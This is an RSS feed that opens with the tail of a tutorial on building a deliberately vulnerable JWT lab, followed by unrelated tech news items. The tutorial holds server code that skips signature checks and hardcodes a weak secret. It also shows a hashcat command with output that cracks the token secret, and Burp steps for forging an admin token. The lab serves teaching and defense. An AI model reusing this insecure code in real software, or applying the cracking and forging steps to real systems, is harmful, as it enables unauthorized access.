user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Bridewell Launches Dedicated Threat Intelligence Practice BCON Collective]]></title>
<description><![CDATA[Bridewell has launched BCON Collective, a dedicated Threat Research and Cyber Threat Intelligence (CTI) practice designed to help organisations better understand, prioritise and respond to today’s rapidly changing cyber threat landscape. The new practice brings together Bridewell’s existing intel...]]></description>
<link>https://tsecurity.de/de/3687040/it-security-nachrichten/bridewell-launches-dedicated-threat-intelligence-practice-bcon-collective/</link>
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<pubDate>Wed, 22 Jul 2026 18:38:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Bridewell has launched BCON Collective, a dedicated Threat Research and Cyber Threat Intelligence (CTI) practice designed to help organisations better understand, prioritise and respond to today’s rapidly changing cyber threat landscape. The new practice brings together Bridewell’s existing intelligence-led services,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bridewell-launches-dedicated-threat-intelligence-practice-bcon-collective/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bridewell-launches-dedicated-threat-intelligence-practice-bcon-collective/">Bridewell Launches Dedicated Threat Intelligence Practice BCON Collective</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Bridewell Launches Dedicated Threat Intelligence Practice BCON Collective]]></title>
<description><![CDATA[Bridewell has launched BCON Collective, a dedicated Threat Research and Cyber Threat Intelligence (CTI) practice designed to help organisations better understand, prioritise and respond to today’s rapidly changing cyber threat landscape. The new practice brings together Bridewell’s existing intel...]]></description>
<link>https://tsecurity.de/de/3686984/it-security-nachrichten/bridewell-launches-dedicated-threat-intelligence-practice-bcon-collective/</link>
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<pubDate>Wed, 22 Jul 2026 18:19:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Bridewell has launched BCON Collective, a dedicated Threat Research and Cyber Threat Intelligence (CTI) practice designed to help organisations better understand, prioritise and respond to today’s rapidly changing cyber threat landscape. The new practice brings together Bridewell’s existing intelligence-led services, original threat research and specialist analysts under a single identity, reflecting growing customer demand for […]</p>
<p>The post <a href="https://www.itsecurityguru.org/2026/07/22/bridewell-launches-dedicated-threat-intelligence-practice-bcon-collective/">Bridewell Launches Dedicated Threat Intelligence Practice BCON Collective</a> appeared first on <a href="https://www.itsecurityguru.org/">IT Security Guru</a>.</p>]]></content:encoded>
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<title><![CDATA[I've watched all of Stuart Fails to Save the Universe and it's a smarter spinoff than we've given it credit for — ride through the rough first episode to reach sitcom glory]]></title>
<description><![CDATA[Stuart Fails to Save the Universe is the underdog of 2020s TV spinoffs, and I mean that in the best possible way. In fact, I've basically forgotten The Big Bang Theory existed.]]></description>
<link>https://tsecurity.de/de/3686967/it-nachrichten/ive-watched-all-of-stuart-fails-to-save-the-universe-and-its-a-smarter-spinoff-than-weve-given-it-credit-for-ride-through-the-rough-first-episode-to-reach-sitcom-glory/</link>
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<pubDate>Wed, 22 Jul 2026 18:12:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Stuart Fails to Save the Universe is the underdog of 2020s TV spinoffs, and I mean that in the best possible way. In fact, I've basically forgotten The Big Bang Theory existed.]]></content:encoded>
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<title><![CDATA[Jack Dorsey Takes On Slack and GitHub With New AI Workplace Platform 'Buzz']]></title>
<description><![CDATA[Jack Dorsey's Block has launched Buzz, an open-source workplace collaboration platform that combines messaging, project management, and software development workflows for teams of both humans and AI agents. Dorsey described Buzz as "a new groupchat platform for teams of people and agents of all s...]]></description>
<link>https://tsecurity.de/de/3686825/it-security-nachrichten/jack-dorsey-takes-on-slack-and-github-with-new-ai-workplace-platform-buzz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686825/it-security-nachrichten/jack-dorsey-takes-on-slack-and-github-with-new-ai-workplace-platform-buzz/</guid>
<pubDate>Wed, 22 Jul 2026 17:19:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jack Dorsey's Block has launched Buzz, an open-source workplace collaboration platform that combines messaging, project management, and software development workflows for teams of both humans and AI agents. Dorsey described Buzz as "a new groupchat platform for teams of people and agents of all sizes" that is "model-agnostic, decentralized, self-sovereign and open source." SmartCompany reports: According to the Buzz website, users can invite specialized AI agents into team chats, allowing them to collaborate with employees and even other AI agents. From there, they can reportedly move directly from discussions into planning, coding, pull requests and project management without switching between multiple applications.
 
Buzz also aims to replace parts of GitHub by bringing software development workflows directly into the platform. Teams can plan work, write code, review pull requests and manage Git projects without jumping between separate collaboration and development tools. [...] In practice, that means businesses aren't locked into a single AI provider. Organisations can self-host Buzz, customize it to suit their own workflows and choose whichever AI models best fit their needs.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Jack+Dorsey+Takes+On+Slack+and+GitHub+With+New+AI+Workplace+Platform+'Buzz'%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F22%2F040209%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://news.slashdot.org/story/26/07/22/040209/jack-dorsey-takes-on-slack-and-github-with-new-ai-workplace-platform-buzz?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[The greenest goodbye: Human composting and the science of becoming soil]]></title>
<description><![CDATA[In 2020, Recompose was the first U.S. company to develop the technology needed for the commercial composting of human bodies, disrupting a funeral industry that had been largely unchanged for decades. Now 14 states have legalized the climate-friendly practice and more than a dozen others are cons...]]></description>
<link>https://tsecurity.de/de/3686481/it-nachrichten/the-greenest-goodbye-human-composting-and-the-science-of-becoming-soil/</link>
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<pubDate>Wed, 22 Jul 2026 15:21:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="945" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/PXL_20260407_2341250121-1260x945.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/PXL_20260407_2341250121-1260x945.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/PXL_20260407_2341250121-768x576.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/PXL_20260407_2341250121-1536x1152.jpg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/PXL_20260407_2341250121-2048x1536.jpg 2048w" sizes="(max-width: 1260px) 100vw, 1260px"><br>In 2020, Recompose was the first U.S. company to develop the technology needed for the commercial composting of human bodies, disrupting a funeral industry that had been largely unchanged for decades. Now 14 states have legalized the climate-friendly practice and more than a dozen others are considering it. Additional startups have launched to offer a greener goodbye and all are looking to scale. <a href="https://www.geekwire.com/2026/the-greenest-goodbye-human-composting-and-the-science-of-becoming-soil/">Read More</a>]]></content:encoded>
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<title><![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]></title>
<description><![CDATA[In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environ...]]></description>
<link>https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</link>
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<pubDate>Wed, 22 Jul 2026 11:11:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.</p>



<h2 class="wp-block-heading">AI’s impact on sustainability</h2>



<p class="wp-block-paragraph">By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.</p>



<p class="wp-block-paragraph">To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-03-gartner-forecasts-worldwide-it-spending-to-grow-10-point-8-percent-in-2026-totaling-6-point-15-trillion-dollars">global spending on data centers</a> over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.</p>



<p class="wp-block-paragraph">All this presents a significant strain on the energy grid as well as environmental sustainability, including:</p>



<ul class="wp-block-list">
<li><strong>The power double-down:</strong> The <a href="https://energy.ec.europa.eu/news/focus-data-centres-energy-hungry-challenge-2025-11-17_en">International Energy Agency</a> (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.</li>



<li><strong>The inference premium:</strong> AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly <a href="https://www.brookings.edu/articles/global-energy-demands-within-the-ai-regulatory-landscape/">10 times the electricity</a> of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.</li>



<li><strong>Water consumption:</strong> Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach <a href="https://aimultiple.com/ai-energy-consumption">4.2 to 6.6 billion cubic meters by 2027</a>.</li>
</ul>



<p class="wp-block-paragraph">The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.</p>



<p class="wp-block-paragraph">Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.</p>



<h2 class="wp-block-heading">Revisit business objectives in light of AI</h2>



<p class="wp-block-paragraph">AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of <a href="https://www.cio.com/article/4169954/servicenows-ai-control-tower-offers-hazy-view-of-spend.html">AI vendor billing due to variable monthly token costs</a> is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.</p>



<p class="wp-block-paragraph">In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.</p>



<p class="wp-block-paragraph">According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”</p>



<p class="wp-block-paragraph">With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.</p>



<p class="wp-block-paragraph">It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.</p>



<h2 class="wp-block-heading">Take a sovereign AI approach when evaluating hyperscalers</h2>



<p class="wp-block-paragraph">As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.</p>



<p class="wp-block-paragraph">In 2025, Amazon’s global data center operations used <a href="https://www.aboutamazon.com/news/sustainability/amazon-data-center-water-usage">0.12 liters of water per kilowatt-hour</a>, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.</p>



<p class="wp-block-paragraph">As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.</p>



<p class="wp-block-paragraph">The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">71% of global executives stating that switching their primary AI vendor or model would be difficult if required today</a>, it’s important to understand AI dependencies and be able to avoid vendor lock-in. </p>



<h2 class="wp-block-heading">Control efficiency at the data layer</h2>



<p class="wp-block-paragraph">The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.</p>



<p class="wp-block-paragraph">“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”</p>



<p class="wp-block-paragraph">Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.</p>



<h2 class="wp-block-heading">Fine tune the application layer</h2>



<p class="wp-block-paragraph">When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.</p>



